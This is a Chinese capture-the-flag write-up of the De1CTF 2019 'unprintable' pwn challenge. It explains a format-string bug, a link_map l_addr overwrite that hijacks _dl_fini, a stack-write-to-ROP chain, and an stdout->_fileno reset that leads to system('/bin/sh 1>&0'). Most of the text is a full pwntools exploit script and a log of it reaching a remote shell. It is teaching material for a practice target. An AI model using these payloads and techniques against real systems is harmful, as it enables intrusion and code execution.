De1CTF2019 pwn unprintable writeup

安全防护

ex@Ex:~/de1ctf/unprintable$ checksec unprintable
[*] '/home/ex/de1ctf/unprintable/unprintable'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

溢出点

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char v3; // [rsp+0h] [rbp-10h]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to Ch4r1l3's printf test");
  printf("This is your gift: %p\n", &v3);
  close(1);
  read(0, buf, 0x1000uLL);
  printf(buf, buf);
  exit(0);
}

标准的格式化漏洞。关闭了输出流。

但是buf并不在栈上，所以我们只能利用栈上的地址。

通过查看栈布局，我们能获得一些信息。

Breakpoint *0x4007C1
pwndbg> stack
00:0000│ rsp  0x7fffffffe440 —▸ 0x7fffffffe530 ◂— 0x1
01:0008│      0x7fffffffe448 ◂— 0xc6767873c5fdf100
02:0010│ rbp  0x7fffffffe450 —▸ 0x4007d0 (__libc_csu_init) ◂— push   r15
03:0018│      0x7fffffffe458 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
04:0020│      0x7fffffffe460 ◂— 0x1
05:0028│      0x7fffffffe468 —▸ 0x7fffffffe538 —▸ 0x7fffffffe790 ◂— '/home/ex/de1ctf/unprintable/unprintable.bak'
06:0030│      0x7fffffffe470 ◂— 0x1f7ffcca0
07:0038│      0x7fffffffe478 —▸ 0x400726 (main) ◂— push   rbp
pwndbg> 
08:0040│   0x7fffffffe480 ◂— 0x0
09:0048│   0x7fffffffe488 ◂— 0x5a2816c57e0bfdf4
0a:0050│   0x7fffffffe490 —▸ 0x400630 (_start) ◂— xor    ebp, ebp
0b:0058│   0x7fffffffe498 —▸ 0x7fffffffe530 ◂— 0x1
0c:0060│   0x7fffffffe4a0 ◂— 0x0
... ↓
0e:0070│   0x7fffffffe4b0 ◂— 0xa5d7e9bab96bfdf4
0f:0078│   0x7fffffffe4b8 ◂— 0xa5d7f900de7bfdf4
pwndbg> 
10:0080│   0x7fffffffe4c0 ◂— 0x0
... ↓
13:0098│   0x7fffffffe4d8 —▸ 0x7fffffffe548 —▸ 0x7fffffffe7bc ◂— 'LC_PAPER=zh_CN.UTF-8'
14:00a0│   0x7fffffffe4e0 —▸ 0x7ffff7ffe168 ◂— 0x0
15:00a8│   0x7fffffffe4e8 —▸ 0x7ffff7de77db (_dl_init+139) ◂— jmp    0x7ffff7de77b0
16:00b0│   0x7fffffffe4f0 ◂— 0x0

在运行_start之前，先运行的是一些链接库的_dl_init，通过查看栈发现，其恰好残余下了一个很有用的指针0x7ffff7ffe168，他就是_rtld_global._dl_ns[0]._ns_loaded，这个是我们程序的link map，对程序而言至关重要。

pwndbg> p _rtld_global._dl_ns[0]._ns_loaded
$1 = (struct link_map *) 0x7ffff7ffe168

该程序的溢出点主要在于，但我们修改了_rtld_global._dl_ns[0]._ns_loaded的值，则在执行exit函数时便会发生变数。

程序在退出时要完成内存的释放类似的工作，exit函数保留了这样的思想，在退出是会调用_dl_fini函数来执行各文件的fini操作。而执行情况如下：

代码来自：/glibc/glibc-2.23/elf/dl-fini.c:128

internal_function
_dl_fini (void)
{
  ...
  ElfW(Addr) *array =
    (ElfW(Addr) *) (l->l_addr
        + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
        / sizeof (ElfW(Addr)));
  while (i-- > 0)
    ((fini_t) array[i]) ();
  ...
}

其中变量l就是我们的_rtld_global._dl_ns[0]._ns_loaded，原本l->l_addr为0，则array的值就是正常的，但是l->l_addr不为0的话则会使其发生偏移，我们则可以使其直接偏移到bss段上，使其直接运行bss段的地址，也即是buf，则我们就控制了程序流。并且l->l_addr正好位于l的首部，所以我们可以直接利用printf修改其值进行偏移。它的偏移对于第一次printf而言就是26。

思路

由于printf不能使用%$n在一次printf中进行链接地址传递操作，所以我们只能将其分成多步，这样才能正常运行。

第一次printf将栈地址指向第二次printf的返回地址，由于程序给了栈地址，我们可以直接进行计算。

last = (printf_ret - 904 + 0x10000) & 0xffff
payload ='%904c%26$ln'  + '%'  + str(last) + 'c%11$hn'
sh.sendline(payload.ljust(0x100, '\0') + p64(elf.symbols['main']) + '\0')

第二次则可以直接利用%$n修改第一次留下的地址，直接修改该printf的返回地址，使得我们可以不断调用read和printf函数。
然后就可以多次使用printf完成链接地址操作，从而实现栈的任意写。

def load(position, ch):
    time.sleep(interval)
    last = (payload_addr+position - 163 + 0x10000) & 0xffff
    temp = '%163c%75$hhn' + '%' + str(last) + 'c%21$hn\0'
    sh.sendline(temp)

    # pause()
    time.sleep(interval)
    last = (ord(ch) - 163 + 0x100) & 0xff
    temp = '%163c%75$hhn' + '%' + str(last) + 'c%16$hhn\0'
    sh.sendline(temp)

163就是0xa3，也即是下面的地址，其主要作用是方便复用且不会改变栈地址。

.text:00000000004007A3                 mov     edx, 1000h      ; nbytes
.text:00000000004007A8                 mov     esi, offset buf ; buf
.text:00000000004007AD                 mov     edi, 0          ; fd
.text:00000000004007B2                 call    read
.text:00000000004007B7                 mov     edi, offset buf ; format
.text:00000000004007BC                 mov     eax, 0
.text:00000000004007C1                 call    printf
.text:00000000004007C6                 mov     edi, 0          ; status
.text:00000000004007CB                 call    exit

由于 %$n ，最多只支持 0x2000 ，所以栈地址的低字节必须要小于0x2000才行。

if((printf_ret & 0xffff) > 0x2000):
    raise Exception()

注意：对于靶机而言，当payload过长时会读取失败，导致执行错误。但是本地不会，我自己搭的服务器也不会，至于为什么靶机为什么会这样就不得而知了，所以写payload的时候应进行对payload进行压缩，同时要保证有足够的栈空间来执行函数。

写完栈后将printf的返回地址改成ret地址，则可以直接利用之前装载的内容进行rop了。

# 0x00000000004005d1 : ret 
sh.send('%1489c%75$hn\0'.ljust(0x80+0x18, 'f') + p64(0x0000000004007A3))

由于不能直接用rop修改rdx的值，而且调用printf后，rdx的值会被污染导致read函数无法使用，所以这里我直接利用0x0000000004007A3地址来修改rdx寄存器的值，由于现在rsp已经指向了buf，所以我们可以直接修改read函数的返回值，并在后面加上ROP链。

payload = '/bin/sh 1>&0\0'.ljust(0x80 + 0x18, 'h') + flat(layout2).ljust(0x120 - 0x98, 'g') + flat(layout3)

上面代码中layout2则正好可以踩到read函数的返回地址。

可以写栈了之后便是正常的ROP。

修改stdout

网上大部分大佬的思路都是利用残余的libc地址来找syscall指令，这里我不太喜欢这样，我的做法是直接修改stdout->_fileno，由于程序只关闭了文件描述符1，却没有关闭文件描述符0，所以我们可以修改stdout的文件描述符_fileno为0，则可以使得程序再次拥有了输出的能力，再用其输出got地址，执行system函数。

由于文件描述符1被关闭，只要我们在执行system函数时将其重定向到0，则可以继续使用。也即是/bin/sh 1>&0。

利用的stdout地址是之前栈执行留下的地址，只要我们构造ROP然后进行部分覆盖就可以修改stdout->_fileno的值。

其中要进行多次栈转移，多调试几次就好了，其实也并不复杂。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    
    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './unprintable'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('45.32.120.212', 9999)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    # b *0x4007C1
    # b *0x000000000040082d
    # b *0x4005F0
    # c
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

sh.recvuntil('gift: ')
stack_addr = int(sh.recvline(), 16)
log.info('stack_addr: ' + hex(stack_addr))

printf_ret = stack_addr - 0x138
log.info('printf_ret: ' + hex(printf_ret))

payload_addr = printf_ret + 8
log.info('payload_addr: ' + hex(payload_addr))

stdout_addr = stack_addr - 0x1c0
log.info('stdout_addr: ' + hex(stdout_addr))

interval = 0.5

if((printf_ret & 0xffff) > 0x2000):
    raise Exception()


last = (printf_ret - 904 + 0x10000) & 0xffff
payload ='%904c%26$ln'  + '%'  + str(last) + 'c%11$hn'
sh.sendline(payload.ljust(0x100, '\0') + p64(elf.symbols['main']) + '\0')

def load(position, ch):
    time.sleep(interval)
    last = (payload_addr+position - 163 + 0x10000) & 0xffff
    temp = '%163c%75$hhn' + '%' + str(last) + 'c%21$hn\0'
    sh.sendline(temp)

    # pause()
    time.sleep(interval)
    last = (ord(ch) - 163 + 0x100) & 0xff
    temp = '%163c%75$hhn' + '%' + str(last) + 'c%16$hhn\0'
    sh.sendline(temp)

# pause()

stack_addr = 0x601060 + 0x80
buf_addr = 0x601060

layout1 = [
    0x000000000040082d, # : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
    stack_addr,
]

payload = flat(layout1)
for i in range(len(payload)):
    load(i, payload[i])

# 0x0000000000400833 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400833
# 0x0000000000400831 : pop rsi ; pop r15 ; ret
pop_rsi_r15_ret = 0x0000000000400831
ret_addr = 0x00000000004005d1

# 0x00000000004005d1 : ret 
sh.send('%1489c%75$hn\0'.ljust(0x80+0x18, 'f') + p64(0x0000000004007A3))
time.sleep(interval)

# stack_addr
layout2 = [
    pop_rdi_ret, 
    0,
    pop_rsi_r15_ret,
    stdout_addr - 8 * 4,
    0,
    elf.plt['read'],

    pop_rdi_ret,
    0,
    pop_rsi_r15_ret,
    stdout_addr + 8,
    0,
    elf.plt['read'],

    pop_rdi_ret,
    0,

    0x000000000040082d, # : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret   
    stdout_addr - 8 * 4,
]

# stack_addr + 0x200
layout3 = [
    0,0,0,
    ret_addr,

    pop_rdi_ret,
    elf.got['puts'],
    elf.plt['puts'],

    pop_rdi_ret,
    0,
    pop_rsi_r15_ret,
    stack_addr + 0x400,
    0,
    elf.plt['read'],

    0x000000000040082d, # : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret   
    stack_addr + 0x400,
]

# pause()
payload = '/bin/sh 1>&0\0'.ljust(0x80 + 0x18, 'h') + flat(layout2).ljust(0x120 - 0x98, 'g') + flat(layout3)

time.sleep(interval)
sh.send(payload)

# pause()
time.sleep(interval)
# layout 5
sh.send(p64(0) * 3 + p64(pop_rsi_r15_ret) + p8(0x90))
time.sleep(interval)
sh.send(p64(0) + p64(elf.plt['read']) + p64(0x000000000040082d) + p64(buf_addr + 0x120))

# pause()
time.sleep(interval)

# pause()
# modify stdout->_fileno
sh.send(p8(0))

time.sleep(interval)

result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))

layout6 = [
    0,0,0,
    pop_rdi_ret,
    buf_addr,
    libc_addr +libc.symbols['system'],

    pop_rdi_ret,
    0,
    libc_addr + libc.symbols['exit'],
]
sh.send(flat(layout6))

sh.interactive()
clear()

运行实例：

ex@pwntools23:~/de1ctf/unprintable$ ./exp.py 
[+] Opening connection to 45.32.120.212 on port 9999: Done
[*] '/home/ex/de1ctf/unprintable/unprintable'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/ex/de1ctf/unprintable/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
list index out of range
[*] stack_addr: 0x7ffc22c31a80
[*] printf_ret: 0x7ffc22c31948
[*] payload_addr: 0x7ffc22c31950
[*] stdout_addr: 0x7ffc22c318c0
[+] libc_addr: 0x7fd06429d000
[*] Switching to interactive mode
$ ls -l /bin
total 328
-rwxr-x--- 1 0 1000  52080 Jul 12 11:13 cat
-rwxr-x--- 1 0 1000 126584 Jul 12 11:13 ls
-rwxr-x--- 1 0 1000 154072 Jul 12 11:13 sh
$ ls
bin
dev
flag
lib
lib32
lib64
unprintable

De1CTF2019 pwn unprintable writeup

TOC

安全防护

溢出点

思路

修改stdout

脚本